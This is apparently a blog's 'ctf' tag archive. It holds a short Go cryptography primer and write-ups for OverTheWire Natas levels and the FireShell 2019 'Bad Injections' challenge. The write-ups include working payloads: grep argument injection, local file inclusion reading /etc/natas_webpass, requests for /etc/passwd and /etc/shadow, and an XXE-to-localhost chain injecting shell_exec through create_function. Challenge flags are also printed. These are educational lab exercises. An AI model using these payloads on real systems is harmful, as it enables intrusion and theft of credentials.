Tag Archives: ctf

Just enough cryptography for better securing your apps

I’m not a cryptographer myself but I have always admired their work because literally they make the Internet a better place by creating technology that allows us our right to privacy and cybersecurity plus I enjoy playing basic crypto CTF challenges. At my current job I’m a weird mixture between Software developer and Information Security guy (finally the best of two worlds) that means I work a lot with security and crypto related matters and I’m also very fortunate for  being able to work very close to a real cryptographer, so a couple months ago we were talking about security and I asked him if he could share some resources about cryptography but focusing on Software Engineers, meaning people without a heavy background in mathematics, this is what I learned.

If you are a Software Engineer curious about Information Security chances are you have crossed paths with a task that involves adding some kind of security mechanisms to protect data in your application, my friend explained me that in practice, cryptography is about choosing the right tool for the job and as a Security Software Engineer the most common tasks you will face are:

  • Encrypt a data blob or data stream
  • Exchange a secret key with a peer
  • Verify that some data blob or data stream is not modified
  • Verify that some data blob or data stream has been produced by someone specific.
  • Generate a secret key from another secret key
  • Generate a secret key from a (low-entropy) value – e.g. password

There are out there many cryptographic mechanisms that will make our lives easier when it comes to software engineering and we need to learn how to pick the right tool for the job

I’m not saying you should completely ignore the theory and jump directly into the practice, theory is important and you should learn it or at least be aware of the different types of cryptographic primitives, the most important classes/types are:

  • Pseudo-Random Permutation (PRP) – e.g. AES
  • Pseudo-Random Function (PRF) – e.g. ChaCha
  • Random Oracle (RO) – e.g. SHA-256

Modern cryptographic algorithms usually follow a more theory-based approach when it comes to achieve its goals and test its security, they usually do that by reducing the security relative to the primitives they use, it’s very common to read things like: 

The scheme X achieves the security goals A, B and C if the underlying primitive Y is in-fact a K.

Primitives usually have a condition in the form of a mathematical proof or very hard problems to solve e.g. prime-factor representation for RSA asymmetric primitive or the discrete logarithm problem for the Diffie-Hellman key exchange algorithm, therefore If you want to break a cryptographic scheme you will first need to break the assumptions used by its primitives, if no one can do that then it’s safe to assume the cryptographic scheme is secure.

My point here is you need to understand what are the goals you want to achieve first, what is your requirement, that’s the only way you can pick the right cryptographic scheme based on the primitives that will solve your problem.

Key Derivation

Let’s say you have an application that calculates the hmac-sha256 signature of a message using the password provided by a user as a key:

This works but there’s a problem with this approach, calculate hmac-sha256 signatures its trivial, with the help of a good dictionary an attacker can easily brute force the user password and if he succeed on obtaining the original secret he can impersonate the user in your application

Therefore, in order to make the job of the attacker more expensive in terms of time, computation and memory resources, the recommended approach is to use a Key-derivation function (KDF) or password-based key derivation function (PBKDF) when deriving a key from a password 

When I learned this concept from my friend it was mind-blowing, In general you have to distinguish between deriving a secret key from a high-entropy source, like a cryptographic key, or from a low-entropy source, like a password. PBKDF usage is about trade-offs, try to hit a parameter such that the PBKDF is relatively cheap to compute for you in your scenario but expensive for the attacker that tries to brute-force the secret password.

func deriveKey(key []byte, salt []byte) string {
	derivedKey := pbkdf2.Key(key, salt, 4096, 32, sha1.New)
	return base64.StdEncoding.EncodeToString(derivedKey)
}

func main() {
	message := []byte("hello world")
	key := []byte("super secret key")
	fmt.Println(string(key), deriveKey(key, message))
	// super secret key UJS9n/48gSEHyVK8UZPcC6vKGpsyI6mNrWexmvdtCB4=
}

Data Integrity

Preserving data integrity is a crucial part when working with information, the easiest way to achieve data integrity is by encrypting the data, however sometimes you don’t want to do that because encrypting and decrypting data it’s an expensive operation and you only want to preserve data integrity, then the most straightforward solution is HMAC with a RO – like SHA-256.

func computeHmac256(message []byte, key []byte) string {
	h := hmac.New(sha256.New, key)
	h.Write(message)
	return base64.StdEncoding.EncodeToString(h.Sum(nil))
}

func main() {
	message := []byte("hello world")
	key := []byte("super secret key")
	messageHmac := computeHmac256(message, key)
	fmt.Println(string(message), messageHmac)
	// hello world yFgx2zBmFCpq9N6JuGAMRnTBN5cUwTkHBtqcAyGR2bw=
}

Encryption

Symmetric cryptographic schemes are better for encrypting a data blob or data stream vs asymmetric schemes due to performance advantages, the recommendation is to use Authenticated Encryption (AE) or Authenticated Encryption with Associated Data (AEAD). There are two main AEAD schemes used in practice: AES-GCM and ChaCha20-Poly1305. Both belong to the same class of cryptographic objects: AEAD.

func encryptAES_GCM(key []byte, message []byte) string {
	block, _ := aes.NewCipher(key)
	nonce := make([]byte, 12)
	if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
		panic(err.Error())
	}
	aesgcm, err := cipher.NewGCM(block)
	if err != nil {
		panic(err.Error())
	}
	ciphertext := aesgcm.Seal(nil, nonce, message, nil)
	return base64.StdEncoding.EncodeToString(ciphertext)
}

func main() {
	message := []byte("hello world")
	key := []byte("super secret key")
	fmt.Println(string(message), encryptAES_GCM(key, message))
	// hello world gBoJuHdAm5PjNGFdr+B/8Eq58IFZKcrzz6JQ
}

Github example: https://gist.github.com/Alevsk/0c296f230279bd399a244d4f7d1d7b84

Happy hacking 🙂

CTF OverTheWire: Natas10

Continuing with the CTF Natas series, now is the turn for natas10

[bash]
Natas Level 9 → Level 10
Username: natas10
URL: http://natas10.natas.labs.overthewire.org
[/bash]

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s a simple web page with a basic input form, very similar to the previous one but they have added a character filter, we proceed to click the View sourcecode and we are redirected to index-source.html

This is supposed to be the backend code of the html form.

[php]
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match(‘/[;|&]/’,$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
[/php]

The preg_match(‘/[;|&]/’,$key) function will make sure to drop any search request that contains the ; or & characters so we cannot execute additional commands like we did on the previous level, but instead of trying to bypass this filter there is an easier way to solve this level, the grep command supports search for a pattern in multiple files so we are going to exploit that, the goal is to execute something like this:

[bash]
grep -i ” /etc/natas_webpass/natas11 dictionary.txt
[/bash]

Since ” /etc/natas_webpass/natas11 doesn’t contains any of the filtered characters we can just send this payload through the form.

The flag for the next level, natas11, is: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

In this challenge we exploit a command injection vulnerability that essentially allow us to execute arbitrary commands on the server, this time there was a security mechanism in place but the fundamental problem was still there. Depending on the privileges of the user running the web server we might read, write or delete files.

Happy hacking 🙂

CTF OverTheWire: Natas8

After a break we continue with the CTF Natas series, now is the turn for natas8

[bash]
Natas Level 7 → Level 8
Username: natas8
URL: http://natas8.natas.labs.overthewire.org
[/bash]

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s just a simple web page with a basic input form, if we type nonsense we get an error message displaying Wrong secret, we proceed to click the the View sourcecode

[php]
<html>
<head>
<!– This stuff in the header has nothing to do with the level –>
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST[‘secret’]) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
[/php]

This is supposed to be the backend code of the HTML page we just saw, the important part of this challenge is in the PHP code functions, taking a quick look the data flow looks like this:

  • Check if submit key exists on $_POST
  • Pass $_POST[‘secret’] to encodeSecret function
  • encodeSecret function will apply some transformation to the secret and return it
  • The transformed secret must be equal to 3d3d516343746d4d6d6c315669563362, otherwise we are getting the Wrong secret error we saw already

As I say before, the important part is happening inside the encodeSecret function, the code is basically doing this:

secret -> base64_encode -> strrev -> bin2hex -> 3d3d516343746d4d6d6c315669563362

So we need to perform exactly the same operations but in reverse order to obtain the original secret, ie: the old bin2hex should be hex2bin, I don’t know if we should call this reverse engineering, anyway ¯\_(ツ)_/¯

3d3d516343746d4d6d6c315669563362 -> hex2bin -> strrev -> base64_encode -> secret

We can use PHP from the command line and do this:

[bash]
$ php -r "echo base64_decode(strrev(hex2bin(‘3d3d516343746d4d6d6c315669563362’)));"
oubWYf2kBq
$
[/bash]

We get the secret: oubWYf2kBq, we try it on the input form.

The flag for the next level, natas9, is: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

In this challenge we take advantage of a security vulnerability called Source code disclosure and then we did basic reverse engineering on the PHP code.

Happy hacking 🙂

FireShell CTF 2019 – Bad Injections (WEB)

Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.

This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂

The challenge starts by giving us an IP address running a web server on the Internet:
http://68.183.31.62:94

There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

[html] <div class=’ui center aligned container’> <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/> <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="50t0"/> </div> [/html]

The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability so we start by trying to download the index.php file:

[bash] http://68.183.31.62:94/download?file=index.php&hash=828e0013b8f3bc1bb22b4f57172b019d [/bash] And the result is: [php] ini_set(‘display_errors’,1); ini_set(‘display_startup_erros’,1); error_reporting(E_ALL); require_once(‘Routes.php’); function __autoload($class_name){ if(file_exists(‘./classes/’.$class_name.’.php’)){ require_once ‘./classes/’.$class_name.’.php’; }else if(file_exists(‘./Controllers/’.$class_name.’.php’)){ require_once ‘./Controllers/’.$class_name.’.php’; } } [/php]

In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.

[bash] http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211 [/bash] The Routes.php file is huge but there are two route functions that seems interesting [php] Route::set(‘custom’,function(){ $handler = fopen(‘php://input’,’r’); $data = stream_get_contents($handler); if(strlen($data) > 1){ Custom::Test($data); }else{ Custom::createView(‘Custom’); } }); Route::set(‘admin’,function(){ if(!isset($_REQUEST[‘rss’]) && !isset($_REQUES[‘order’])){ Admin::createView(‘Admin’); }else{ if($_SERVER[‘REMOTE_ADDR’] == ‘127.0.0.1’ || $_SERVER[‘REMOTE_ADDR’] == ‘::1’){ Admin::sort($_REQUEST[‘rss’],$_REQUEST[‘order’]); }else{ echo ";("; } } }); [/php]

The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from 127.0.0.1 which is localhost, if this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

[bash] http://68.183.31.62:94/download?file=/app/Controllers/Custom.php&hash=55fdef99c788af643d2676ac21ada5f4 http://68.183.31.62:94/download?file=/app/Controllers/Admin.php&hash=42c58ba0a247b5c76bce27387e90b99f http://68.183.31.62:94/download?file=/etc/passwd&hash=c5068b7c2b1707f8939b283a2758a691 http://68.183.31.62:94/download?file=/etc/shadow&hash=2fe8599cb25a0c790213d39b3be97c27 http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211 [/bash]

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

[php] class Custom extends Controller{ public static function Test($string){ $root = simplexml_load_string($string,’SimpleXMLElement’,LIBXML_NOENT); $test = $root->name; echo $test; } } [/php]

The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

[php]class Admin extends Controller{ public static function sort($url,$order){ $uri = parse_url($url); $file = file_get_contents($url); $dom = new DOMDocument(); $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); if($xml){ //echo count($xml->channel->item); //var_dump($xml->channel->item->link); $data = []; for($i=0;$i<count($xml->channel->item);$i++){ //echo $uri[‘scheme’].$uri[‘host’].$xml->channel->item[$i]->link."\n"; $data[] = new Url($i,$uri[‘scheme’].’://’.$uri[‘host’].$xml->channel->item[$i]->link); //$data[$i] = $uri[‘scheme’].$uri[‘host’].$xml->channel->item[$i]->link; } //var_dump($data); usort($data, create_function(‘$a, $b’, ‘return strcmp($a->’.$order.’,$b->’.$order.’);’)); echo ‘<div class="ui list">’; foreach($data as $dt) { $html = ‘<div class="item">’; $html .= ”.$dt->id.’ – ‘; $html .= ‘ <a href="’.$dt->link.’">’.$dt->link.'</a>’; $html .= ‘</div>’; } $html .= "</div>"; echo $html; }else{ $html .= "Error, not found XML file!"; $html .= "<code>"; $html .= "<pre>"; $html .= $file; $html .= "</pre>"; $hmlt .= "</code>"; echo $html; } } }[/php]

That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

[bash] $ url=’http://68.183.31.62:94/custom’ $ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.alevsk.com">]><root><name>&test;</name></root>’ $ curl –request POST –url "$url" –header ‘cache-control: no-cache’ –header ‘content-type: application/xml’ –data "$xml_content" | base64 -d [/bash]

In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:

[php] $root = simplexml_load_string($string,’SimpleXMLElement’,LIBXML_NOENT); $test = $root->name; echo $test; [/php]

The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂

Now, instead of querying https://www.alevsk.com we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.

Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this idea, I’ll explain why.

[bash] $order = id, null) && die(shell_exec(‘ls -la /’)); ($aaa=" [/bash]

The original piece of code looks like this.

[php] usort($data, create_function(‘$a, $b’, ‘return strcmp($a->’.$order.’,$b->’.$order.’);’)); [/php]

When I replace the $order variable with my payload the final code looks like this.

[php] usort($data, create_function(‘$a, $b’, ‘return strcmp($a->id, null) && die(shell_exec(\’ls -la /\’)); ($aaa=",$b->id, null) && die(shell_exec(\’ls -la /\’)); ($aaa=");’)); [/php]

Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).

Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

[bash] $ url=’http://68.183.31.62:94/custom’ $ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>’ $ curl –request POST –url "$url" –header ‘cache-control: no-cache’ –header ‘content-type: application/xml’ –data "$xml_content" | base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2197 100 1892 100 305 6348 1023 –:–:– –:–:– –:–:– 7347 total 116 drwxr-xr-x 1 root root 4096 Dec 26 18:10 . drwxr-xr-x 1 root root 4096 Dec 26 18:10 .. -rwxr-xr-x 1 root root 0 Dec 25 23:47 .dockerenv drwxr-xr-x 1 root root 4096 Dec 25 23:50 app drwxr-xr-x 1 root root 4096 Dec 4 15:47 bin drwxr-xr-x 2 root root 4096 Apr 10 2014 boot -rwxr-xr-x 1 root root 1122 Feb 15 2016 create_mysql_admin_user.sh -rw-r–r– 1 root root 31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7 drwxr-xr-x 5 root root 360 Dec 25 23:47 dev drwxr-xr-x 1 root root 4096 Dec 25 23:55 etc drwxr-xr-x 2 root root 4096 Apr 10 2014 home drwxr-xr-x 1 root root 4096 Feb 15 2016 lib drwxr-xr-x 2 root root 4096 Jan 19 2016 lib64 drwxr-xr-x 2 root root 4096 Jan 19 2016 media drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt drwxr-xr-x 2 root root 4096 Jan 19 2016 opt dr-xr-xr-x 331 root root 0 Dec 25 23:47 proc drwx—— 1 root root 4096 Dec 26 18:10 root drwxr-xr-x 1 root root 4096 Feb 15 2016 run -rwxr-xr-x 1 root root 549 Feb 15 2016 run.sh drwxr-xr-x 1 root root 4096 Jan 19 2016 sbin drwxr-xr-x 2 root root 4096 Jan 19 2016 srv -rwxr-xr-x 1 root root 67 Feb 15 2016 start-apache2.sh -rwxr-xr-x 1 root root 29 Feb 15 2016 start-mysqld.sh dr-xr-xr-x 13 root root 0 Jan 26 19:06 sys drwxrwxrwt 1 root root 4096 Jan 27 03:30 tmp drwxr-xr-x 1 root root 4096 Feb 15 2016 usr drwxr-xr-x 1 root root 4096 Feb 15 2016 var [/bash]

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

Happy hacking 🙂

CTF OverTheWire: Natas7

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas7.

[bash]
Natas Level 6 → Level 7
Username: natas7
URL: http://natas7.natas.labs.overthewire.org
[/bash]

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Inspeccionamos el código fuente de la pagina y observamos un par de cosas interesantes:

Vemos dos hypervinculos (index.php?page=home y index.php?page=about) y un comentario que dice:

[html]
<!– hint: password for webuser natas8 is in /etc/natas_webpass/natas8 –>
[/html]

Dependiendo el valor del parámetro page el contenido de la pagina cambia, todo apunta a que estamos ante una vulnerabilidad de tipo Local File Inclusion, escribimos texto aleatorio solo para verificar la vulnerabilidad.

Efectivamente podemos ver la ruta del archivo php en el servidor (path disclosure), debido a esta vulnerabilidad podemos leer cualquier archivo al que el usuario que ejecuta el servidor web tenga acceso, por ahora solo nos centraremos en obtener la bandera del reto con http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

La bandera para acceder a natas8 es DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

En este reto aprovechamos un fallo de seguridad llamado Local File Inclusion, con el que es posible leer otros archivos que no son accesibles directamente en el servidor.

Happy hacking 🙂